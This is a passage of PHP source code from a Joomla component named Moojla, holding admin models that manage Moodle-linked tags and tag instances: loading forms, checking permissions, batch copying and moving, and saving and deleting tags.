defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Tag Model
*/
class MoojlaModelTag extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'tagid',
'isstandard'
),
'right' => array(
'tagname',
'tags'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.tag';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'tag', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
if (!empty($item->id))
{
// Get Tag IDs.
$item->tags = new JHelperTags;
$item->tags->getTagIds($item->id, 'com_moojla.tag');
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.tag', 'tag',
$options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.tag.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/tag.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.tag.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.tag.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.tag.'. ((int) isset($data[$key]) ? $data[$key] : 0))
or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_tag'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.tag.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.tag', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return array('tagid');
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
/***[JCBGUI.admin_view.php_before_delete.136.$$$$]***/
require_once(JPATH_ADMINISTRATOR.'/components/com_moojla/models/tag_instance.php');
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/models/tag.php');
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/tables/tag.php');
$db= JFactory::getDbo();
$query= $db->getQuery(true)
->select(' ti.id as tiid , ctm.tag_id as tag_id')
->from($db->quoteName('#__moojla_tag','mt'))
->join('inner',$db->quoteName('#__moojla_tag_instance','ti').'on'.$db->quoteName('mt.tagid').'='.$db->quoteName('ti.moodletag'))
->join('inner',$db->quoteName('#__contentitem_tag_map','ctm').'on'.$db->quoteName('mt.id').'='.$db->quoteName('ctm.content_item_id'))
->where($db->quoteName('mt.id').'IN('.implode(',',$pks).')');
$db->setQuery($query);
$tiids= $db->loadColumn(0);
$tag_ids= $db->loadColumn(1);
$tiModel= new MoojlaModelTag_instance;
$tiModel->publish($tiids,-2);
$tiModel->delete($tiids);
$tagModel= new TagsModelTag;
$tagModel->publish($tag_ids,-2);
$tagModel->delete($tag_ids);
/***[/JCBGUI$$$$]***/
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('tag');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('tag');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->tagname) &&
!is_numeric($this->table->tagname))
{
$this->table->tagname =
$this->generateUnique('tagname',$this->table->tagname);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('tag');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
/***[JCBGUI.admin_view.php_before_save.136.$$$$]***/
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/models/tag.php');
require_once(JPATH_ADMINISTRATOR.'/components/com_tags/tables/tag.php');
$joomlatag = array();
if($data['id']) // update
{
$db= JFactory::getDbo();
$query= $db->getQuery(true)
->select('ctm.tag_id as tag_id')
->from($db->quoteName('#__moojla_tag','mt'))
->join('inner',$db->quoteName('#__contentitem_tag_map','ctm').'on'.$db->quoteName('mt.id').'='.$db->quoteName('ctm.content_item_id'))
->where($db->quoteName('mt.id') . ' = ' .
$db->quote($data['id']));
$db->setQuery($query);
$tagrows = $db->loadAssoc();
if(isset($tagrows['tag_id']))
{
$joomlatag['id'] = $tagrows['tag_id'];
}
}
$db= JFactory::getDbo();
$query= $db->getQuery(true)
->select('id')
->from($db->quoteName('#__tags'))
->where($db->quoteName('title') . ' = ' .
$db->quote($data['tagname']));
$db->setQuery($query);
$tagid = $db->loadResult();
if(!$tagid)
{
$joomlatag['access'] = 1;
$joomlatag['language'] = '*';
$joomlatag['published'] = 1;
$joomlatag['title'] = $data['tagname'];
$tagModel= new TagsModelTag;
$tagModel->save($joomlatag);
$itemid = ($tagrows['tag_id'] ?
array($tagrows['tag_id']) :
array($tagModel->getItem()->id));
$data['tags'] = $itemid;
}
else
{
$data['tags'] = array($tagid);
}
/***[/JCBGUI$$$$]***/
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
/**
* Method to change the title
*
* @param string $title The title.
*
* @return array Contains the modified title and alias.
*
*/
protected function _generateNewTitle($title)
{
// Alter the title
$table = $this->getTable();
while ($table->load(array('title' => $title)))
{
$title = StringHelper::increment($title);
}
return $title;
}
}
models/tags.php000064400000023051151165724400007504 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tags.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Tags Model
*/
class MoojlaModelTags extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.access','access',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'a.tagid','tagid',
'a.tagname','tagname'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$tagid = $this->getUserStateFromRequest($this->context .
'.filter.tagid', 'filter_tagid');
if ($formSubmited)
{
$tagid = $app->input->post->get('tagid');
$this->setState('filter.tagid', $tagid);
}
$tagname = $this->getUserStateFromRequest($this->context .
'.filter.tagname', 'filter_tagname');
if ($formSubmited)
{
$tagname = $app->input->post->get('tagname');
$this->setState('filter.tagname', $tagname);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
// Set values to display correctly.
if (MoojlaHelper::checkArray($items))
{
// Get the user object if not set.
if (!isset($user) || !MoojlaHelper::checkObject($user))
{
$user = JFactory::getUser();
}
foreach ($items as $nr => &$item)
{
// Add the tags
$item->tags = new JHelperTags;
$item->tags->getTagIds(
$item->id, 'com_moojla.tag'
);
if ($item->tags->tags)
{
$item->tags = implode(', ',
$item->tags->getTagNames(
explode(',', $item->tags->tags)
)
);
}
else
{
$item->tags = '';
}
}
}
// set selection value to a translatable value
if (MoojlaHelper::checkArray($items))
{
foreach ($items as $nr => &$item)
{
// convert isstandard
$item->isstandard =
$this->selectionTranslation($item->isstandard,
'isstandard');
}
}
// return items
return $items;
}
/**
* Method to convert selection values to translatable string.
*
* @return translatable string
*/
public function selectionTranslation($value,$name)
{
// Array of isstandard language strings
if ($name === 'isstandard')
{
$isstandardArray = array(
1 => 'COM_MOOJLA_TAG_YES',
0 => 'COM_MOOJLA_TAG_NO'
);
// Now check if value is found in this array
if (isset($isstandardArray[$value]) &&
MoojlaHelper::checkString($isstandardArray[$value]))
{
return $isstandardArray[$value];
}
}
return $value;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_tag',
'a'));
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Join over the asset groups.
$query->select('ag.title AS access_level');
$query->join('LEFT', '#__viewlevels AS ag ON ag.id =
a.access');
// Filter by access level.
$_access = $this->getState('filter.access');
if ($_access && is_numeric($_access))
{
$query->where('a.access = ' . (int) $_access);
}
elseif (MoojlaHelper::checkArray($_access))
{
// Secure the array for the query
$_access = ArrayHelper::toInteger($_access);
// Filter by the Access Array.
$query->where('a.access IN (' . implode(',',
$_access) . ')');
}
// Implement View Level Access
if (!$user->authorise('core.options',
'com_moojla'))
{
$groups = implode(',', $user->getAuthorisedViewLevels());
$query->where('a.access IN (' . $groups . ')');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.tagid LIKE '.$search.' OR a.tagname
LIKE '.$search.')');
}
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
// Check if the value is an array
$_access = $this->getState('filter.access');
if (MoojlaHelper::checkArray($_access))
{
$id .= ':' . implode(':', $_access);
}
// Check if this is only an number or string
elseif (is_numeric($_access)
|| MoojlaHelper::checkString($_access))
{
$id .= ':' . $_access;
}
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.tagid');
$id .= ':' . $this->getState('filter.tagname');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_tag'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_tag'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/tag_instance.php000064400000052354151165724400011215
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instance.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Tag_instance Model
*/
class MoojlaModelTag_instance extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'moodletag'
),
'right' => array(
'moojlacourse'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.tag_instance';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'tag_instance', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.tag_instance',
'tag_instance', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.tag_instance.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
